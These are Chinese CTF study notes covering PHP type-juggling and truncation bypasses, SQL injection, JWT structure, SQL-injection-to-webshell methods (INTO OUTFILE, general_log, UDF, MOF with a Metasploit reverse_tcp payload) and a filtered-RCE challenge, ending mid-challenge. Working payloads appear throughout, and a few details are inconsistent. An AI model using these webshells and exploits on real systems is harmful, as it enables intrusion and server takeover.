15 strpos数组绕过NULL与ereg正则%00截断.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

 ?>

要求我们传入的变量值含有数字和#biubiubiu,这里字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤 
payload:?nctf=1%00#biubiubiu(#需要进行url编码)

不过这里也有其他方法,strops期望类型为字符,传一个数组给他,strops出错后返回null,null!==false,ereg()进行匹配出错时也返回null,null!=false,所以符合要求。

payload:?nctf[]=

对于字符阶段

iconv异常字符截断

因iconv遇到异常字符就不转后面的内容了,所以可以截断。

1
2
3
$a='1'.chr(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8

这里chr(128)到chr(255)都可以截断
eregi.ereg可用%00截断

功能:正则匹配过滤 条件:要求php<5.3.4

move_uploaded_file 用\0截断

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生

include用?截断

1
2
3
4
5
<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>

当输入的文件名包含url时,问号截断就会发生,这个利用方式不受php版本限制,因为web服务器会将问号看成一个请求参数

1
http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/ddd.txt? 

16 SQL注入or绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

?>

斜杠真的看着很难受。。
主要是这里代码,因为要以admin登陆,但是我们不知道密码,那就后面进行注释

1
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';

payload:$query=’SELECT * FROM users WHERE name='‘admin'' AND pass='‘ or 1 #&password=

?username=admin'' and pass='‘ or 1 # &password=

17 密码md5比较绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

    //strcasecmp:0 - 如果两个字符串相等

      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}

?>

跟第九题一样感觉,直接写payload吧

1
payload:?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

18 md5()函数===使用数组绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

也是经典题目,MD5,sha1这种类似的加密函数期望类型都是字符串,这里要求前者和后者的值不一样,但经过MD5后相等。因为在md5函数中传入数组后会报错得null,所以构造payload(因为这里是===,如果是==还可以用去构造0e开头的数)
payload:?username[]=1&password[]=2

19 ereg()函数strpos() 函数用数组返回NULL绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

这个就是15题提出的方法二,直接套用payload吧
payload:

?password[]=

20 十六进制与数字比较.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

这里不让输入十进制的数字,但是后面却让进行数字的比较,所以肯定要进行进制转换,0x开头表示16进制,这串数字16进制转换后是deadc0de,在开头上加上0x,代表这个是16进制的数字,和原来十进制的进行比较,当然相等
payload:?password=0xdeadc0de

21 数字验证正则绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 

    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,必须包含四种类型三种与三种以上
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

emm这道题主要是正则,但是我感觉故意搞的很复杂,其实没有那么复杂。

1
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配

必须为12个字符以上(非空格非tab的内容)

1
2
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 

匹配的次数要大于6次

1
2
3
4
5
6
  foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 

password里的字符类型要大于或等于三种(大小写字母,数字,字符)

1
        if ("42" == $password) echo $flag; 

password的值必须为42
构造payload:

payload:?password=42.0e+000

22 弱类型整数大小比较绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;


?>

payload:password=1336a
is_numeric($temp)?die(“no numeric”):NULL;  不能为数字,但是要大于1336,利用php弱类型的一个特性当一个整数和一个其他类型进行比较时会先进行类型转换(intval),如果输入1377a,这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出了

23 md5函数验证绕过.php

1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}

?>

md5($temp)==0 要让MD5函数加密后为0,俩种方法
一是之前说过,经过运算后为0e*****这种形式,直接去找资料传就行

二是不给password赋值,为null,null==0为true

24 md5函数true绕过注入.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 

// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

MD5函数第二个参数为true时,表示原始16字符如果包含’or’xxx这样的字符串,那整个sql变成:

1
SELECT * FROM admin WHERE pass = ''or'xxx'

等于我们转换成了一个万能密码,这里要进行fuzz或者去网上查资料得到

1
2
3
字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串: 'or'6<trash>
payload:?password=ffifdyop

25 switch没有break 字符与0比较绕过.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

?>

这道题应该是有点小问题的,不过知识点还是很明显的,就是弱类型比较。
PHP中非数字开头字符串和数字 0比较==都会返回True

===会比较类型

让我们包含当前目录中的flag.php,给whichflag,这里会发现在case 0case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php

PHP中非数字开头字符串和数字 0比较==都返回True

因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0了,然后再和另一个0比大小,结果自然为ture。注意:如果那个字符串是以数字开头的,如6ldb,它还是可以转为数字6的,然后和0比较就不等了(但是和6比较就相等) if($str==0) 判断 和 if( intval($str) == 0 ) 是等价的

可以验证:

1
2
3
4
<?php
$str="s6s";
if($str==0){ echo "返回了true.";}
?>

要字符串与数字判断不转类型方法有:

  • 方法一: $str="字符串";if($str===0){ echo "返回了true.";}
  • 方法二: $str="字符串";if($str=="0"){ echo "返回了true.";} ,
    此题构造:payload:?which=aa

26 unserialize()序列化.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!-- 题目:http://web.jarvisoj.com:32768 -->

<!-- index.php -->
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<!-- shield.php -->

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE  
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

简单的序列化题目,理清逻辑,构造exp就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/***answer.php***/
<?php 
require_once('shield.php');
$x = new Shield();
$g = serialize($x);
echo $g
?>

/**shield.php**/
<?php
//flag is in pctf.php
class Shield{
public $file;
function __construct($filename = 'pcth.php')
$this-> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?

得到:
O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}

payload:?class=O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}

27 利用提交数组绕过逻辑.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php 
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
    $role = unserialize(base64_decode($_COOKIE["role"]));
    if($role === "admin"){
        $auth = true;
    }
    else{
        $auth = false;
    }
}
else{
    $role = base64_encode(serialize($role));
    setcookie('role',$role);
}
if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}
else{
    echo "Sorry. You have no permissions.";
}
?>

首先给了个提示权限不足的页面,抓包发现cookie的base64是guest,改为admin绕过登陆,这里源码也能看出。
最主要的是下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!');
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag="None.";
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}

首先查看提交的请求是否存在<>,如果没有就将传入的数据(implode期望类型是数组)转化为字符串,如果其中存在<>就将flag存在一个随机命名的文件中。implode这个函数需要传入数组,如果是字符串会报错,$s自然就没有值
想要通过post请求的形式传入数组,可以使用data[0]=111&data[1]=<>传入数组,这样的话在Implode的时候不会1使$s为空,成功绕过

什么是JWT

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

类似于上面这样形式的字符串,就是一个典型的JWT,每个JWT都用.(点号)分割成三部分。分别是header,payload,signture
JWT 的原理:服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

1
2
3
4
5
{
"姓名": "123",
"角色": "admin",
"到期时间": "2077年7月1日0点0分"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

JWT的组成

1.header:主要声明了JWT的签名算法;

2.payload:主要承载了各种声明并传递明文数据;

3.signture:拥有该部分的JWT被称为JWS,也就是签了名的JWS;没有该部分的JWT被称为nonsecure JWT 也就是不安全的JWT,此时header中声明的签名算法为none。

三个部分用·分割。形如 xxxxx.yyyyy.zzzzz的样式。

header:

Header 部分是一个 JSON 对象,描述 JWT 的元数据,通常是下面的样子。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串

payload:

Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。

1
2
3
4
5
6
7
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

但是除了官方字段,我们也可以在这个部分自定义字段

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

但是以上两个部分JWt都是默认不加密的,任何人都可以读到,所以不要将秘密信息放在这个部分,这个json对象也要使用base64URL算法转换为字符串
3.Signature

这个部分是对前两部分的签名,防止数据篡改

首先,会有一个密钥,这个密钥只有服务端才知道,不能泄露,然后使用header里指定的签名算法,按照下面的公式产生签名

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

计算结束后,把以上三个部分拼成一个字符串,每个部分用.分割,就可以分配给用户
4.Base64URL

Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+/=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-/替换成_ 。这就是 Base64URL 算法。

JWT使用方式:

客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。

此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization字段里面,或者是跨域的时候,JWT就放在POST请求的数据体里面

几个特点:

(1)JWT 默认是不加密,但也是可以加密的。生成原始 Token 以后,可以用密钥再加密一次。

(2)JWT 不加密的情况下,不能将秘密数据写入 JWT。

(3)JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。

(4)JWT 的最大缺点是,由于服务器不保存 session 状态,因此无法在使用过程中废止某个 token,或者更改 token 的权限。也就是说,一旦 JWT 签发了,在到期之前就会始终有效,除非服务器部署额外的逻辑。

(5)JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT 的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证。

(6)为了减少盗用,JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输

最近刚刚入职,师傅叫我第一熟悉的就是SQL getshell,常见的两种方法还是都知道的,只是没具体去实现过,这里做个总结。

首先要明确的是sql注入getshell的方式:

getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现.前文所说的两种方法即是Webshell提权,后两者会有一定的限制,这里阐述原理。

Webshell提权:

1.into outfile

利用条件:

web目录具有写的权限,能够使用单引号

知道网站的绝对路径

my.ini这个配置文件中有一项secure_file_priv没有具体值(注意不是空或者NULL)

secure_file_priv:secure_file_priv是用来限制load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限 ,即就是拿来限制内外读写文件的一个配置

关于secure_file_priv的相关:

当该配置的值为null时,mysqld不允许导入和导出

当该配置的值为/tmp/时,mysqld的导入和导出只能发生在/tmp/目录下(这里/tmp/表示限定目录,即我们自己设定的目录)

当该配置的值为没有具体值时。mysqld的导入和导出没有限制

所以为了我们能够使用into outfile函数写马进去,就需要将该配置设置为没有值,设置的方法如下:

1)看secure-file-priv参数的值:show global variables like ‘%secure%’;若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ‘ ‘ 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马

以上操作建议使用navicat或者其他数据库可视化软件进行操作。

写入Webshell:

以上的secure_file_priv配置设置完成好,再满足我们具有写的权限和知晓绝对路径,就能尝试用sql语句写入一句话木马。这里方便测试,建议使用dvwa

测试注入点以及判断列数这里跳过,都是老生常谈的操作,加上因为是我们自己搭的靶场,所以我们也知晓自己的路径

所以我们可以写入一句话:

1’ union select 1,”“ into outfile ‘E:\xxxxx\phpstudy\dvwa\test.php’ #

这里路径中要使用双斜杠,第一个斜杠是转义的意思,不然无法解析,关于字符串的解析不一定只出现在web服务器里,其他情况下也有可能出现,而且windows采用的是单个斜杠的路径分割形式,导致我们对文件路径进行解析的时候发生不必要的错误,所以多加个斜杠进行转义。

PS:这里我把马传进去的时候,我是用蚁剑连的,意外的发现以GET方式可能会被过滤,POST和REQUEST方式没有被过滤。

2.os-shell原理

os-shell就是sqlmap的一个功能,为存在的注入点提供一个可交互的webshell,大致原理就是将脚本插入数据库中,然后生成相应的文件,获取shell就能执行相关命令。其实原本–os-shell就是使用udf(用户自定义函数)获取webshell,也是通过into outfile向服务器写入两个文件,一个可执行系统命令,一个进行上传文件。

利用条件:

要求为DBA数据库管理员权限(–is-dba phpstudy搭建的一般为DBA)

php的GPC关闭即主动转义的功能关闭,可以使用单双引号

(不使用十六进制即0x编码),知道网站的绝对路径,而且文件不能覆盖写入,所以文件必须为不存在

–secure-file-priv没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

PS:secure_file_priv为只读参数,不能使用set global命令修改,需要在my.ini加入后重启Mysql才可以

1
2
3
4
5
6
7
8
9
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)
以下1.php 2.php就是举例,不是实际文件名
1.php 用来执行系统命令

2.php 用来上传文件

secure_file_priv没有具体值(在mysql/my.ini中查看)

magic_quotes_gpc:(PHP magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时)

os-shell的具体实现步骤:

1
2
3
4
5
6
7
8
1.启动sqlmap:sqlmap -r test.txt --os-shell
2.选择语言(ASP,ASPX,JSP,PHP)首次使用默认asp语言
3.输入绝对路径
4.写木马文件
4.1:pwd //查看当前路径
4.2:echo '<?php @eval($_POST['a']); ?>'>> 123.php //将木马写入123.php
4.3:cat 123.php //打印123.php文件的内容
5.用webshell连接

以上大致就是Webshell的两种方式,但是我们大多数都不知道路径即就是绝对路径,那产生路径问题的原因是?

大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写

所以我们可以采用dnslog注入,就是dns外带查询,通过查询相应的dns解析记录,来获取我们想要的数据

PS:在实际场景中,盲注情况比较多,而联合查询的结果只会为了提供真与假,无法给予详细获取,通过手工测试需要花费大量时间,而使用sqlmap直接去跑数据也有可能触发waf或者被网站封ip,影响测试进度,所以dnslog注入就应运而生

这里我们要使用一个load_File()函数,该函数会读取一个文件并将其内容作为字符串返回

语法:load_file(filename),其参数为文件的完整绝对路径

其满足条件为:

1.文件处于服务器上

2.具有该文件的读权限,该属性和secure_file_priv状态相关

3.文件必须所有人都可见,且字节大小小于最大限度

除了上述的Webshell,还有udf以及mof,以及通过日志写入

这里要引入一种不常见的注入方式,堆叠注入,如果对buu里的web有过练习,应该是有印象的

堆叠注入写shell(日志注入)

  • 主要是利用到了Mysql的日志来进行写shell,payload如下:set global general_log = "ON";set global general_log_file='C:/xxx/www/muma.php';select '<?php eval($_POST[cmd]);?>';
  • 然后用webshell管理工具连接,就可以进行攻击

如果说联合查询就能够写入shell,那当然是最好不过了

union select 1,'<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/test.php' #

union select 1,'<?php eval($_POST[1]);?>' INTO dumpfile '/var/www/html/test.php'#

这里对于outfile和dumpfile有一点小区分:

1
2
3
4
5
6
7
8
9
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可hex

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\n,也就是会多加一个\

outfile函数可以导出多行,而dumpfile只能导出一行数据;

outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

udf提权:

udf(user defined function)即用户自定义函数,是我们对数据库功能的一种自定义扩展,经过这个可以实现在mysql无法实现的功能

条件:

1.sqlmap的udf动态链接库文件:sqlmap根目录/data/udf/mysql

2.一般来说动态链接库为了防止被误杀都会进行编码处理,不能直接使用,所以我们可以用sqlmap自带的解码工具cloak.py来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py

以下为举例payload:

1
2
3
4
5
create table udfeval(shellcode longblob);    //创建表

insert into udfeval values(load_file('F:/udf.dll')); //在表里插入信息

select shellcode from udfeval into dumpfile 'C:\\windows\udf.dll'; //将表里面的信息导出

以上方法都需要知道secure_file_priv的值,那我们可以通过–sql-shell来知道输入sql语句select@@secure_file_priv提示为NULL,所以就会出现无法继续的错误

mof提权

M0F提权原理它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

条件:

1
2
3
4
5
Win sever 03以后无法使用

Mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure-file-priv参数不为null

因为mof文件每五秒就会执行一次,而且是系统权限,我们可以通过load_file将文件写入/wbem/mof里,然后系统每隔五秒就会执行我们上传的mof。我们可以通过mof里自己编写的脚本,来让系统执行命令,进行提权
以下为我参考的相关资料:(vbs脚本)

1
2
3
4
5
6
7
8
9
10
11
MSF脚本自动化
use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

缺点:攻击的选择范围较小,而且清理痕迹可能会比较麻烦

[BSidesCF 2019]Kookie

图片

登陆环境有一个cookie的提示,用burp抓包,改下数据包

图片

发送过去就有flag了

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

rce,但是这里正则过滤大小写字母和数字。最开始我以为直接用无字符rce的脚本生成payload并且注意下长度就行,但是看了WP考点不是这个,就复现下
因为过滤了大小写字母和数字,可以用url编码+取反绕过或是异或。异或就是我们将php代码进行url编码后取反,传入参数后服务端会对url进行解码,这时因为取反后,会url解码成不可打印字符,所以达成绕过的效果

1
2
<?php
echo urlencode(~'phpinfo');

查看phpinfo();,搜索flag并没有,但是能看到禁用函数倒是有挺多,尝试构建一句话木马

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
?>

这里一句话是仿照网上的,由于eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用
所以我们需要用assert来构造,获得shell后,尝试用蚁剑连,但是连上去完全没有执行权限,等于是一个无用的shell

因为这里主要是php本地设置了disable_functions,所以我们可以尝试用蚁剑插件来绕过这个

图片

开始运行,在根目录运行./readflag就是flag(简易解法,稍微难点的要用恶意so文件,后续再补——)

[MRCTF2020]套娃

进入环境打开F12,有一些提示

1
2
3
4
5
6
7
$query = $_SERVER['QUERY_STRING'];  
   if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){  
 die('Y0u are So cutE!');  
 }  
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){  
 echo "you are going to the next ~";  
 } 

substr_count是对特定变量其内部查找指定字符的个数,这里要求$query里下划线和下划线的url编码不能出现,否则就die,然后需要传一个b_u_p_t,并对其进行正则匹配,如果其是以23333以及以23333结尾的话,就可以进入下一步
然后这里出现了一个$_SERVER[‘QUERY_STRING’],其含义是获取的是?后面的值,因为我们传的参数里不能存在_和%5f,可以用空格进行替代,另外在正则匹配中回车字符代表一次匹配结束,所以这里还需要加一个%0A

构建第一个payload:

1
?b u p t=23333%0A

进入第二层,有一个php需要我们进入,进去有一堆jsfuck,解码后让我们任意post一个Merak,这里值任意
进入第三层,进行代码审计

1
2
3
4
5
6
7
